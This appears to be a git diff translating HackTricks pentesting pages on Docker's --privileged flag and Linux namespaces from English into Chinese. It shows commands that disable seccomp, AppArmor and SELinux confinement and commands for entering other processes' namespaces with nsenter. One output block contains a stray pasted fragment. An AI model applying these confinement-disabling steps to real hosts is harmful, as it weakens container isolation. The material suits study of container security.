@ -52,28 +47,24 @@ cpuset on /sys/fs/cgroup/cpuset type cgroup (ro,nosuid,nodev,noexec,relatime,cpu
cpu on /sys/fs/cgroup/cpu type cgroup (ro,nosuid,nodev,noexec,relatime,cpu)
cpuacct on /sys/fs/cgroup/cpuacct type cgroup (ro,nosuid,nodev,noexec,relatime,cpuacct)
```
{{#endtab}}
{{#tab name="Inside Privileged Container"}}
{{#tab name="内部特权容器"}}
```bash
# docker run --rm --privileged -it alpine sh
mount | grep '(ro'
```
{{#endtab}}
{{#endtabs}}
### Masking over kernel file systems
### 遮蔽内核文件系统
The **/proc** file system is selectively writable but for security, certain parts are shielded from write and read access by overlaying them with **tmpfs**, ensuring container processes can't access sensitive areas.
**/proc** 文件系统是选择性可写的,但出于安全考虑,某些部分通过覆盖 **tmpfs** 进行保护,确保容器进程无法访问敏感区域。
> [!NOTE] > **tmpfs** is a file system that stores all the files in virtual memory. tmpfs doesn't create any files on your hard drive. So if you unmount a tmpfs file system, all the files residing in it are lost for ever.
> [!NOTE] > **tmpfs** 是一个将所有文件存储在虚拟内存中的文件系统。tmpfs 不会在你的硬盘上创建任何文件。因此,如果你卸载一个 tmpfs 文件系统,里面的所有文件将永远丢失。
{{#tabs}}
{{#tab name="Inside default container"}}
```bash
# docker run --rm -it alpine sh
mount | grep /proc.*tmpfs
@ -81,22 +72,19 @@ tmpfs on /proc/acpi type tmpfs (ro,relatime)
tmpfs on /proc/kcore type tmpfs (rw,nosuid,size=65536k,mode=755)
tmpfs on /proc/keys type tmpfs (rw,nosuid,size=65536k,mode=755)
```
{{#endtab}}
{{#tab name="Inside Privileged Container"}}
{{#tab name="内部特权容器"}}
```bash
# docker run --rm --privileged -it alpine sh
mount | grep /proc.*tmpfs
```
{{#endtab}}
{{#endtabs}}
### Linux capabilities
### Linux 能力
Container engines launch the containers with a **limited number of capabilities** to control what goes on inside of the container by default. **Privileged** ones have **all** the **capabilities** accesible. To learn about capabilities read:
容器引擎以 **有限数量的能力** 启动容器,以控制默认情况下容器内部发生的事情。 **特权** 容器具有 **所有** 可访问的 **能力**。要了解能力,请阅读:
{{#ref}}
../linux-capabilities.md
@ -104,7 +92,6 @@ Container engines launch the containers with a **limited number of capabilities*
{{#tabs}}
{{#tab name="Inside default container"}}
```bash
# docker run --rm -it alpine sh
apk add -U libcap; capsh --print
@ -113,11 +100,9 @@ Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,ca
Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
[...]
```
{{#endtab}}
{{#tab name="Inside Privileged Container"}}
```bash
# docker run --rm --privileged -it alpine sh
apk add -U libcap; capsh --print
@ -126,15 +111,14 @@ Current: =eip cap_perfmon,cap_bpf,cap_checkpoint_restore-eip
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read
[...]
```
{{#endtab}}
{{#endtabs}}
You can manipulate the capabilities available to a container without running in `--privileged` mode by using the `--cap-add` and `--cap-drop` flags.
您可以通过使用 `--cap-add``--cap-drop` 标志来操控容器可用的能力,而无需以 `--privileged` 模式运行。
### Seccomp
**Seccomp** is useful to **limit** the **syscalls** a container can call. A default seccomp profile is enabled by default when running docker containers, but in privileged mode it is disabled. Learn more about Seccomp here:
**Seccomp** 对于 **限制** 容器可以调用的 **syscalls** 非常有用。默认情况下,在运行 docker 容器时启用默认的 seccomp 配置文件,但在特权模式下它是禁用的。有关 Seccomp 的更多信息,请查看:
{{#ref}}
seccomp.md
@ -142,100 +126,86 @@ seccomp.md
{{#tabs}}
{{#tab name="Inside default container"}}
```bash
# docker run --rm -it alpine sh
grep Seccomp /proc/1/status
Seccomp: 2
Seccomp_filters: 1
```
{{#endtab}}
{{#tab name="Inside Privileged Container"}}
```bash
# docker run --rm --privileged -it alpine sh
grep Seccomp /proc/1/status
Seccomp: 0
Seccomp_filters: 0
```
{{#endtab}}
{{#endtabs}}
```bash
# You can manually disable seccomp in docker with
--security-opt seccomp=unconfined
```
Also, note that when Docker (or other CRIs) are used in a **Kubernetes** cluster, the **seccomp filter is disabled by default**
另外,请注意,当在 **Kubernetes** 集群中使用 Docker或其他 CRI**seccomp 过滤器默认是禁用的**。
### AppArmor
**AppArmor** is a kernel enhancement to confine **containers** to a **limited** set of **resources** with **per-program profiles**. When you run with the `--privileged` flag, this protection is disabled.
**AppArmor** 是一种内核增强,用于将 **容器** 限制在 **有限****资源** 集合中,具有 **每个程序的配置文件**。当您使用 `--privileged` 标志运行时,此保护将被禁用。
{{#ref}}
apparmor.md
{{#endref}}
```bash
# You can manually disable seccomp in docker with
--security-opt apparmor=unconfined
```
### SELinux
Running a container with the `--privileged` flag disables **SELinux labels**, causing it to inherit the label of the container engine, typically `unconfined`, granting full access similar to the container engine. In rootless mode, it uses `container_runtime_t`, while in root mode, `spc_t` is applied.
运行带有 `--privileged` 标志的容器会禁用 **SELinux 标签**,使其继承容器引擎的标签,通常为 `unconfined`,授予与容器引擎相似的完全访问权限。在无根模式下,它使用 `container_runtime_t`,而在根模式下,应用 `spc_t`
{{#ref}}
../selinux.md
{{#endref}}
```bash
# You can manually disable selinux in docker with
--security-opt label:disable
```
## 什么不受影响
## What Doesn't Affect
### 命名空间
### Namespaces
Namespaces are **NOT affected** by the `--privileged` flag. Even though they don't have the security constraints enabled, they **do not see all of the processes on the system or the host network, for example**. Users can disable individual namespaces by using the **`--pid=host`, `--net=host`, `--ipc=host`, `--uts=host`** container engines flags.
命名空间**不受**`--privileged`标志的影响。尽管它们没有启用安全约束,但它们**并不能看到系统或主机网络上的所有进程,例如**。用户可以通过使用**`--pid=host``--net=host``--ipc=host``--uts=host`**容器引擎标志来禁用单个命名空间。
{{#tabs}}
{{#tab name="Inside default privileged container"}}
```bash
# docker run --rm --privileged -it alpine sh
ps -ef
PID USER TIME COMMAND
1 root 0:00 sh
18 root 0:00 ps -ef
1 root 0:00 sh
18 root 0:00 ps -ef
```
{{#endtab}}
{{#tab name="Inside --pid=host Container"}}
{{#tab name="内部 --pid=host 容器"}}
```bash
# docker run --rm --privileged --pid=host -it alpine sh
ps -ef
PID USER TIME COMMAND
1 root 0:03 /sbin/init
2 root 0:00 [kthreadd]
3 root 0:00 [rcu_gp]ount | grep /proc.*tmpfs
1 root 0:03 /sbin/init
2 root 0:00 [kthreadd]
3 root 0:00 [rcu_gp]ount | grep /proc.*tmpfs
[...]
```
{{#endtab}}
{{#endtabs}}
### User namespace
### 用户命名空间
**By default, container engines don't utilize user namespaces, except for rootless containers**, which require them for file system mounting and using multiple UIDs. User namespaces, integral for rootless containers, cannot be disabled and significantly enhance security by restricting privileges.
**默认情况下,容器引擎不使用用户命名空间,除了无根容器**,无根容器需要它们进行文件系统挂载和使用多个 UID。用户命名空间对于无根容器至关重要无法禁用并通过限制特权显著增强安全性。
## References
## 参考
- [https://www.redhat.com/sysadmin/privileged-flag-container-engines](https://www.redhat.com/sysadmin/privileged-flag-container-engines)

View File

@ -1,44 +1,44 @@
# Namespaces
# 名称空间
{{#include ../../../../banners/hacktricks-training.md}}
### **PID namespace**
### **PID 名称空间**
{{#ref}}
pid-namespace.md
{{#endref}}
### **Mount namespace**
### **挂载名称空间**
{{#ref}}
mount-namespace.md
{{#endref}}
### **Network namespace**
### **网络名称空间**
{{#ref}}
network-namespace.md
{{#endref}}
### **IPC Namespace**
### **IPC 名称空间**
{{#ref}}
ipc-namespace.md
{{#endref}}
### **UTS namespace**
### **UTS 名称空间**
{{#ref}}
uts-namespace.md
{{#endref}}
### Time Namespace
### 时间名称空间
{{#ref}}
time-namespace.md
{{#endref}}
### User namespace
### 用户名称空间
{{#ref}}
user-namespace.md

View File

@ -2,90 +2,80 @@
{{#include ../../../../banners/hacktricks-training.md}}
## Basic Information
## 基本信息
A cgroup namespace is a Linux kernel feature that provides **isolation of cgroup hierarchies for processes running within a namespace**. Cgroups, short for **control groups**, are a kernel feature that allows organizing processes into hierarchical groups to manage and enforce **limits on system resources** like CPU, memory, and I/O.
cgroup 命名空间是一个 Linux 内核特性,提供 **在命名空间内运行的进程的 cgroup 层次结构的隔离**。Cgroups简称 **控制组**,是一个内核特性,允许将进程组织成层次组,以管理和强制 **系统资源的限制**,如 CPU、内存和 I/O。
While cgroup namespaces are not a separate namespace type like the others we discussed earlier (PID, mount, network, etc.), they are related to the concept of namespace isolation. **Cgroup namespaces virtualize the view of the cgroup hierarchy**, so that processes running within a cgroup namespace have a different view of the hierarchy compared to processes running in the host or other namespaces.
虽然 cgroup 命名空间不是我们之前讨论的其他命名空间类型PID、挂载、网络等但它们与命名空间隔离的概念相关。**Cgroup 命名空间虚拟化了 cgroup 层次结构的视图**,因此在 cgroup 命名空间内运行的进程与在主机或其他命名空间中运行的进程相比,具有不同的层次结构视图。
### How it works:
### 工作原理:
1. When a new cgroup namespace is created, **it starts with a view of the cgroup hierarchy based on the cgroup of the creating process**. This means that processes running in the new cgroup namespace will only see a subset of the entire cgroup hierarchy, limited to the cgroup subtree rooted at the creating process's cgroup.
2. Processes within a cgroup namespace will **see their own cgroup as the root of the hierarchy**. This means that, from the perspective of processes inside the namespace, their own cgroup appears as the root, and they cannot see or access cgroups outside of their own subtree.
3. Cgroup namespaces do not directly provide isolation of resources; **they only provide isolation of the cgroup hierarchy view**. **Resource control and isolation are still enforced by the cgroup** subsystems (e.g., cpu, memory, etc.) themselves.
1. 当创建一个新的 cgroup 命名空间时,**它以创建进程的 cgroup 为基础,开始查看 cgroup 层次结构**。这意味着在新的 cgroup 命名空间中运行的进程将仅看到整个 cgroup 层次结构的一个子集,限制在以创建进程的 cgroup 为根的 cgroup 子树内。
2. 在 cgroup 命名空间内的进程将 **将自己的 cgroup 视为层次结构的根**。这意味着,从命名空间内进程的角度来看,它们自己的 cgroup 显示为根,并且它们无法看到或访问其自身子树之外的 cgroups。
3. Cgroup 命名空间并不直接提供资源的隔离;**它们仅提供 cgroup 层次结构视图的隔离**。**资源控制和隔离仍然由 cgroup** 子系统例如cpu、内存等本身强制执行。
For more information about CGroups check:
有关 CGroups 的更多信息,请查看:
{{#ref}}
../cgroups.md
{{#endref}}
## Lab:
## 实验:
### Create different Namespaces
### 创建不同的命名空间
#### CLI
```bash
sudo unshare -C [--mount-proc] /bin/bash
```
By mounting a new instance of the `/proc` filesystem if you use the param `--mount-proc`, you ensure that the new mount namespace has an **accurate and isolated view of the process information specific to that namespace**.
通过挂载新的 `/proc` 文件系统实例,如果使用参数 `--mount-proc`,您可以确保新的挂载命名空间具有**特定于该命名空间的进程信息的准确和隔离视图**。
<details>
<summary>Error: bash: fork: Cannot allocate memory</summary>
<summary>错误bash: fork: 无法分配内存</summary>
When `unshare` is executed without the `-f` option, an error is encountered due to the way Linux handles new PID (Process ID) namespaces. The key details and the solution are outlined below:
`unshare` 在没有 `-f` 选项的情况下执行时,由于 Linux 处理新的 PID进程 ID命名空间的方式会遇到错误。关键细节和解决方案如下
1. **Problem Explanation**:
1. **问题解释**
- The Linux kernel allows a process to create new namespaces using the `unshare` system call. However, the process that initiates the creation of a new PID namespace (referred to as the "unshare" process) does not enter the new namespace; only its child processes do.
- Running `%unshare -p /bin/bash%` starts `/bin/bash` in the same process as `unshare`. Consequently, `/bin/bash` and its child processes are in the original PID namespace.
- The first child process of `/bin/bash` in the new namespace becomes PID 1. When this process exits, it triggers the cleanup of the namespace if there are no other processes, as PID 1 has the special role of adopting orphan processes. The Linux kernel will then disable PID allocation in that namespace.
- Linux 内核允许进程使用 `unshare` 系统调用创建新的命名空间。然而,启动新 PID 命名空间创建的进程称为“unshare”进程并不会进入新的命名空间只有它的子进程会进入。
- 运行 `%unshare -p /bin/bash%` 会在与 `unshare` 相同的进程中启动 `/bin/bash`。因此,`/bin/bash` 及其子进程位于原始 PID 命名空间中。
- 新命名空间中 `/bin/bash` 的第一个子进程成为 PID 1。当该进程退出时如果没有其他进程它会触发命名空间的清理因为 PID 1 具有收养孤儿进程的特殊角色。然后Linux 内核将禁用该命名空间中的 PID 分配。
2. **Consequence**:
2. **后果**
- The exit of PID 1 in a new namespace leads to the cleaning of the `PIDNS_HASH_ADDING` flag. This results in the `alloc_pid` function failing to allocate a new PID when creating a new process, producing the "Cannot allocate memory" error.
- 新命名空间中 PID 1 的退出导致 `PIDNS_HASH_ADDING` 标志的清理。这导致 `alloc_pid` 函数在创建新进程时无法分配新的 PID从而产生“无法分配内存”的错误。
3. **Solution**:
- The issue can be resolved by using the `-f` option with `unshare`. This option makes `unshare` fork a new process after creating the new PID namespace.
- Executing `%unshare -fp /bin/bash%` ensures that the `unshare` command itself becomes PID 1 in the new namespace. `/bin/bash` and its child processes are then safely contained within this new namespace, preventing the premature exit of PID 1 and allowing normal PID allocation.
3. **解决方案**
- 通过在 `unshare` 中使用 `-f` 选项可以解决此问题。此选项使 `unshare` 在创建新的 PID 命名空间后分叉一个新进程。
- 执行 `%unshare -fp /bin/bash%` 确保 `unshare` 命令本身在新命名空间中成为 PID 1。然后`/bin/bash` 及其子进程安全地包含在这个新命名空间中,防止 PID 1 提前退出,并允许正常的 PID 分配。
By ensuring that `unshare` runs with the `-f` flag, the new PID namespace is correctly maintained, allowing `/bin/bash` and its sub-processes to operate without encountering the memory allocation error.
通过确保 `unshare``-f` 标志运行,新的 PID 命名空间得以正确维护,使得 `/bin/bash` 及其子进程能够正常运行,而不会遇到内存分配错误。
</details>
#### Docker
```bash
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
```
### &#x20;Check which namespace is your process in
### &#x20;检查您的进程所在的命名空间
```bash
ls -l /proc/self/ns/cgroup
lrwxrwxrwx 1 root root 0 Apr 4 21:19 /proc/self/ns/cgroup -> 'cgroup:[4026531835]'
```
### Find all CGroup namespaces
### 查找所有 CGroup 命名空间
```bash
sudo find /proc -maxdepth 3 -type l -name cgroup -exec readlink {} \; 2>/dev/null | sort -u
# Find the processes with an specific namespace
sudo find /proc -maxdepth 3 -type l -name cgroup -exec ls -l {} \; 2>/dev/null | grep <ns-number>
```
### Enter inside an CGroup namespace
### 进入 CGroup 命名空间
```bash
nsenter -C TARGET_PID --pid /bin/bash
```
此外,您只能**以 root 身份进入另一个进程命名空间**。并且您**不能**在没有指向它的**描述符**的情况下**进入**其他命名空间(如 `/proc/self/ns/cgroup`)。
Also, you can only **enter in another process namespace if you are root**. And you **cannot** **enter** in other namespace **without a descriptor** pointing to it (like `/proc/self/ns/cgroup`).
## References
## 参考
- [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory)

View File

@ -2,83 +2,72 @@
{{#include ../../../../banners/hacktricks-training.md}}
## Basic Information
## 基本信息
An IPC (Inter-Process Communication) namespace is a Linux kernel feature that provides **isolation** of System V IPC objects, such as message queues, shared memory segments, and semaphores. This isolation ensures that processes in **different IPC namespaces cannot directly access or modify each other's IPC objects**, providing an additional layer of security and privacy between process groups.
IPC进程间通信命名空间是一个Linux内核特性提供**隔离**System V IPC对象如消息队列、共享内存段和信号量。此隔离确保**不同IPC命名空间中的进程无法直接访问或修改彼此的IPC对象**,为进程组之间提供额外的安全性和隐私保护。
### How it works:
### 工作原理:
1. When a new IPC namespace is created, it starts with a **completely isolated set of System V IPC objects**. This means that processes running in the new IPC namespace cannot access or interfere with the IPC objects in other namespaces or the host system by default.
2. IPC objects created within a namespace are visible and **accessible only to processes within that namespace**. Each IPC object is identified by a unique key within its namespace. Although the key may be identical in different namespaces, the objects themselves are isolated and cannot be accessed across namespaces.
3. Processes can move between namespaces using the `setns()` system call or create new namespaces using the `unshare()` or `clone()` system calls with the `CLONE_NEWIPC` flag. When a process moves to a new namespace or creates one, it will start using the IPC objects associated with that namespace.
1. 当创建一个新的IPC命名空间时它会以**完全隔离的System V IPC对象集**开始。这意味着在新的IPC命名空间中运行的进程默认无法访问或干扰其他命名空间或主机系统中的IPC对象。
2. 在命名空间内创建的IPC对象仅对**该命名空间内的进程可见和可访问**。每个IPC对象在其命名空间内由唯一的键标识。尽管在不同命名空间中键可能相同但对象本身是隔离的无法跨命名空间访问。
3. 进程可以使用`setns()`系统调用在命名空间之间移动,或使用带有`CLONE_NEWIPC`标志的`unshare()``clone()`系统调用创建新的命名空间。当进程移动到新的命名空间或创建一个时它将开始使用与该命名空间关联的IPC对象。
## Lab:
## 实验:
### Create different Namespaces
### 创建不同的命名空间
#### CLI
```bash
sudo unshare -i [--mount-proc] /bin/bash
```
By mounting a new instance of the `/proc` filesystem if you use the param `--mount-proc`, you ensure that the new mount namespace has an **accurate and isolated view of the process information specific to that namespace**.
通过挂载新的 `/proc` 文件系统实例,如果使用参数 `--mount-proc`,您可以确保新的挂载命名空间具有 **特定于该命名空间的进程信息的准确和隔离的视图**
<details>
<summary>Error: bash: fork: Cannot allocate memory</summary>
<summary>错误bash: fork: 无法分配内存</summary>
When `unshare` is executed without the `-f` option, an error is encountered due to the way Linux handles new PID (Process ID) namespaces. The key details and the solution are outlined below:
`unshare` 在没有 `-f` 选项的情况下执行时,由于 Linux 处理新的 PID进程 ID命名空间的方式会遇到错误。关键细节和解决方案如下
1. **Problem Explanation**:
1. **问题解释**
- The Linux kernel allows a process to create new namespaces using the `unshare` system call. However, the process that initiates the creation of a new PID namespace (referred to as the "unshare" process) does not enter the new namespace; only its child processes do.
- Running `%unshare -p /bin/bash%` starts `/bin/bash` in the same process as `unshare`. Consequently, `/bin/bash` and its child processes are in the original PID namespace.
- The first child process of `/bin/bash` in the new namespace becomes PID 1. When this process exits, it triggers the cleanup of the namespace if there are no other processes, as PID 1 has the special role of adopting orphan processes. The Linux kernel will then disable PID allocation in that namespace.
- Linux 内核允许进程使用 `unshare` 系统调用创建新的命名空间。然而,启动新 PID 命名空间创建的进程(称为 "unshare" 进程)并不会进入新的命名空间;只有它的子进程会进入。
- 运行 `%unshare -p /bin/bash%` 会在与 `unshare` 相同的进程中启动 `/bin/bash`。因此,`/bin/bash` 及其子进程位于原始 PID 命名空间中。
- 新命名空间中 `/bin/bash` 的第一个子进程成为 PID 1。当该进程退出时如果没有其他进程它会触发命名空间的清理因为 PID 1 具有收养孤儿进程的特殊角色。然后Linux 内核将禁用该命名空间中的 PID 分配。
2. **Consequence**:
2. **后果**
- The exit of PID 1 in a new namespace leads to the cleaning of the `PIDNS_HASH_ADDING` flag. This results in the `alloc_pid` function failing to allocate a new PID when creating a new process, producing the "Cannot allocate memory" error.
- 新命名空间中 PID 1 的退出导致 `PIDNS_HASH_ADDING` 标志的清理。这导致 `alloc_pid` 函数在创建新进程时无法分配新的 PID从而产生 "无法分配内存" 错误。
3. **Solution**:
- The issue can be resolved by using the `-f` option with `unshare`. This option makes `unshare` fork a new process after creating the new PID namespace.
- Executing `%unshare -fp /bin/bash%` ensures that the `unshare` command itself becomes PID 1 in the new namespace. `/bin/bash` and its child processes are then safely contained within this new namespace, preventing the premature exit of PID 1 and allowing normal PID allocation.
3. **解决方案**
- 通过在 `unshare` 中使用 `-f` 选项可以解决此问题。此选项使 `unshare` 在创建新的 PID 命名空间后分叉一个新进程。
- 执行 `%unshare -fp /bin/bash%` 确保 `unshare` 命令本身在新命名空间中成为 PID 1。然后`/bin/bash` 及其子进程安全地包含在这个新命名空间中,防止 PID 1 提前退出,并允许正常的 PID 分配。
By ensuring that `unshare` runs with the `-f` flag, the new PID namespace is correctly maintained, allowing `/bin/bash` and its sub-processes to operate without encountering the memory allocation error.
通过确保 `unshare``-f` 标志运行,新的 PID 命名空间得以正确维护,使得 `/bin/bash` 及其子进程能够正常运行,而不会遇到内存分配错误。
</details>
#### Docker
```bash
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
```
### &#x20;Check which namespace is your process in
### &#x20;检查您的进程所在的命名空间
```bash
ls -l /proc/self/ns/ipc
lrwxrwxrwx 1 root root 0 Apr 4 20:37 /proc/self/ns/ipc -> 'ipc:[4026531839]'
```
### Find all IPC namespaces
### 查找所有 IPC 命名空间
```bash
sudo find /proc -maxdepth 3 -type l -name ipc -exec readlink {} \; 2>/dev/null | sort -u
# Find the processes with an specific namespace
sudo find /proc -maxdepth 3 -type l -name ipc -exec ls -l {} \; 2>/dev/null | grep <ns-number>
```
### Enter inside an IPC namespace
### 进入 IPC 命名空间
```bash
nsenter -i TARGET_PID --pid /bin/bash
```
此外,您只能**以 root 身份进入另一个进程命名空间**。并且您**不能**在没有指向它的**描述符**的情况下**进入**其他命名空间(例如 `/proc/self/ns/net`)。
Also, you can only **enter in another process namespace if you are root**. And you **cannot** **enter** in other namespace **without a descriptor** pointing to it (like `/proc/self/ns/net`).
### Create IPC object
### 创建 IPC 对象
```bash
# Container
sudo unshare -i /bin/bash
@ -93,8 +82,7 @@ key shmid owner perms bytes nattch status
# From the host
ipcs -m # Nothing is seen
```
## References
## 参考
- [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory)

View File

@ -2,70 +2,63 @@
{{#include ../../../../banners/hacktricks-training.md}}
## Basic Information
## 基本信息
A mount namespace is a Linux kernel feature that provides isolation of the file system mount points seen by a group of processes. Each mount namespace has its own set of file system mount points, and **changes to the mount points in one namespace do not affect other namespaces**. This means that processes running in different mount namespaces can have different views of the file system hierarchy.
挂载命名空间是一个Linux内核特性提供了一个进程组所看到的文件系统挂载点的隔离。每个挂载命名空间都有自己的一组文件系统挂载点**对一个命名空间中挂载点的更改不会影响其他命名空间**。这意味着在不同挂载命名空间中运行的进程可以对文件系统层次结构有不同的视图。
Mount namespaces are particularly useful in containerization, where each container should have its own file system and configuration, isolated from other containers and the host system.
挂载命名空间在容器化中特别有用,每个容器应该有自己的文件系统和配置,与其他容器和主机系统隔离。
### How it works:
### 工作原理:
1. When a new mount namespace is created, it is initialized with a **copy of the mount points from its parent namespace**. This means that, at creation, the new namespace shares the same view of the file system as its parent. However, any subsequent changes to the mount points within the namespace will not affect the parent or other namespaces.
2. When a process modifies a mount point within its namespace, such as mounting or unmounting a file system, the **change is local to that namespace** and does not affect other namespaces. This allows each namespace to have its own independent file system hierarchy.
3. Processes can move between namespaces using the `setns()` system call, or create new namespaces using the `unshare()` or `clone()` system calls with the `CLONE_NEWNS` flag. When a process moves to a new namespace or creates one, it will start using the mount points associated with that namespace.
4. **File descriptors and inodes are shared across namespaces**, meaning that if a process in one namespace has an open file descriptor pointing to a file, it can **pass that file descriptor** to a process in another namespace, and **both processes will access the same file**. However, the file's path may not be the same in both namespaces due to differences in mount points.
1. 当创建一个新的挂载命名空间时,它会用**来自其父命名空间的挂载点的副本**进行初始化。这意味着在创建时,新的命名空间与其父命名空间共享相同的文件系统视图。然而,命名空间内对挂载点的任何后续更改不会影响父命名空间或其他命名空间。
2. 当一个进程在其命名空间内修改挂载点,例如挂载或卸载文件系统时,**更改仅限于该命名空间**,不会影响其他命名空间。这允许每个命名空间拥有自己的独立文件系统层次结构。
3. 进程可以使用`setns()`系统调用在命名空间之间移动,或使用带有`CLONE_NEWNS`标志的`unshare()``clone()`系统调用创建新的命名空间。当一个进程移动到一个新的命名空间或创建一个时,它将开始使用与该命名空间关联的挂载点。
4. **文件描述符和inode在命名空间之间是共享的**,这意味着如果一个命名空间中的进程有一个指向文件的打开文件描述符,它可以**将该文件描述符传递**给另一个命名空间中的进程,**两个进程将访问同一个文件**。然而,由于挂载点的差异,文件的路径在两个命名空间中可能并不相同。
## Lab:
## 实验:
### Create different Namespaces
### 创建不同的命名空间
#### CLI
```bash
sudo unshare -m [--mount-proc] /bin/bash
```
By mounting a new instance of the `/proc` filesystem if you use the param `--mount-proc`, you ensure that the new mount namespace has an **accurate and isolated view of the process information specific to that namespace**.
通过挂载新的 `/proc` 文件系统实例,如果使用参数 `--mount-proc`,您可以确保新的挂载命名空间具有 **特定于该命名空间的进程信息的准确和隔离的视图**
<details>
<summary>Error: bash: fork: Cannot allocate memory</summary>
<summary>错误bash: fork: 无法分配内存</summary>
When `unshare` is executed without the `-f` option, an error is encountered due to the way Linux handles new PID (Process ID) namespaces. The key details and the solution are outlined below:
`unshare` 在没有 `-f` 选项的情况下执行时,由于 Linux 处理新的 PID进程 ID命名空间的方式会遇到错误。关键细节和解决方案如下
1. **Problem Explanation**:
1. **问题解释**
- The Linux kernel allows a process to create new namespaces using the `unshare` system call. However, the process that initiates the creation of a new PID namespace (referred to as the "unshare" process) does not enter the new namespace; only its child processes do.
- Running `%unshare -p /bin/bash%` starts `/bin/bash` in the same process as `unshare`. Consequently, `/bin/bash` and its child processes are in the original PID namespace.
- The first child process of `/bin/bash` in the new namespace becomes PID 1. When this process exits, it triggers the cleanup of the namespace if there are no other processes, as PID 1 has the special role of adopting orphan processes. The Linux kernel will then disable PID allocation in that namespace.
- Linux 内核允许进程使用 `unshare` 系统调用创建新的命名空间。然而,启动新 PID 命名空间创建的进程(称为 "unshare" 进程)并不会进入新的命名空间;只有它的子进程会进入。
- 运行 `%unshare -p /bin/bash%` 会在与 `unshare` 相同的进程中启动 `/bin/bash`。因此,`/bin/bash` 及其子进程位于原始 PID 命名空间中。
- 新命名空间中 `/bin/bash` 的第一个子进程成为 PID 1。当该进程退出时如果没有其他进程它会触发命名空间的清理因为 PID 1 具有收养孤儿进程的特殊角色。然后Linux 内核将禁用该命名空间中的 PID 分配。
2. **Consequence**:
2. **后果**
- The exit of PID 1 in a new namespace leads to the cleaning of the `PIDNS_HASH_ADDING` flag. This results in the `alloc_pid` function failing to allocate a new PID when creating a new process, producing the "Cannot allocate memory" error.
- 新命名空间中 PID 1 的退出导致 `PIDNS_HASH_ADDING` 标志的清理。这导致 `alloc_pid` 函数在创建新进程时无法分配新的 PID从而产生 "无法分配内存" 的错误。
3. **Solution**:
- The issue can be resolved by using the `-f` option with `unshare`. This option makes `unshare` fork a new process after creating the new PID namespace.
- Executing `%unshare -fp /bin/bash%` ensures that the `unshare` command itself becomes PID 1 in the new namespace. `/bin/bash` and its child processes are then safely contained within this new namespace, preventing the premature exit of PID 1 and allowing normal PID allocation.
3. **解决方案**
- 通过在 `unshare` 中使用 `-f` 选项可以解决此问题。此选项使 `unshare` 在创建新的 PID 命名空间后分叉一个新进程。
- 执行 `%unshare -fp /bin/bash%` 确保 `unshare` 命令本身在新命名空间中成为 PID 1。然后`/bin/bash` 及其子进程安全地包含在这个新命名空间中,防止 PID 1 提前退出,并允许正常的 PID 分配。
By ensuring that `unshare` runs with the `-f` flag, the new PID namespace is correctly maintained, allowing `/bin/bash` and its sub-processes to operate without encountering the memory allocation error.
通过确保 `unshare``-f` 标志运行,新的 PID 命名空间得以正确维护,使得 `/bin/bash` 及其子进程能够正常运行,而不会遇到内存分配错误。
</details>
#### Docker
```bash
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
```
### &#x20;Check which namespace is your process in
### &#x20;检查您的进程所在的命名空间
```bash
ls -l /proc/self/ns/mnt
lrwxrwxrwx 1 root root 0 Apr 4 20:30 /proc/self/ns/mnt -> 'mnt:[4026531841]'
```
### Find all Mount namespaces
### 查找所有挂载命名空间
```bash
sudo find /proc -maxdepth 3 -type l -name mnt -exec readlink {} \; 2>/dev/null | sort -u
# Find the processes with an specific namespace
@ -75,19 +68,15 @@ sudo find /proc -maxdepth 3 -type l -name mnt -exec ls -l {} \; 2>/dev/null | g
```bash
findmnt
```
### Enter inside a Mount namespace
### 进入一个挂载命名空间
```bash
nsenter -m TARGET_PID --pid /bin/bash
```
此外,您只能在**根用户**下**进入另一个进程命名空间**。并且您**不能**在没有指向它的**描述符**的情况下**进入**其他命名空间(例如 `/proc/self/ns/mnt`)。
Also, you can only **enter in another process namespace if you are root**. And you **cannot** **enter** in other namespace **without a descriptor** pointing to it (like `/proc/self/ns/mnt`).
Because new mounts are only accessible within the namespace it's possible that a namespace contains sensitive information that can only be accessible from it.
### Mount something
因为新挂载仅在命名空间内可访问,所以命名空间可能包含只能从中访问的敏感信息。
### 挂载某些内容
```bash
# Generate new mount ns
unshare -m /bin/bash
@ -127,8 +116,7 @@ systemd-private-3d87c249e8a84451994ad692609cd4b6-systemd-timesyncd.service-FAnDq
vmware-root_662-2689143848
```
## References
## 参考
- [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory)
- [https://unix.stackexchange.com/questions/464033/understanding-how-mount-namespaces-work-in-linux](https://unix.stackexchange.com/questions/464033/understanding-how-mount-namespaces-work-in-linux)

View File

@ -1,86 +1,76 @@
# Network Namespace
# 网络命名空间
{{#include ../../../../banners/hacktricks-training.md}}
## Basic Information
## 基本信息
A network namespace is a Linux kernel feature that provides isolation of the network stack, allowing **each network namespace to have its own independent network configuration**, interfaces, IP addresses, routing tables, and firewall rules. This isolation is useful in various scenarios, such as containerization, where each container should have its own network configuration, independent of other containers and the host system.
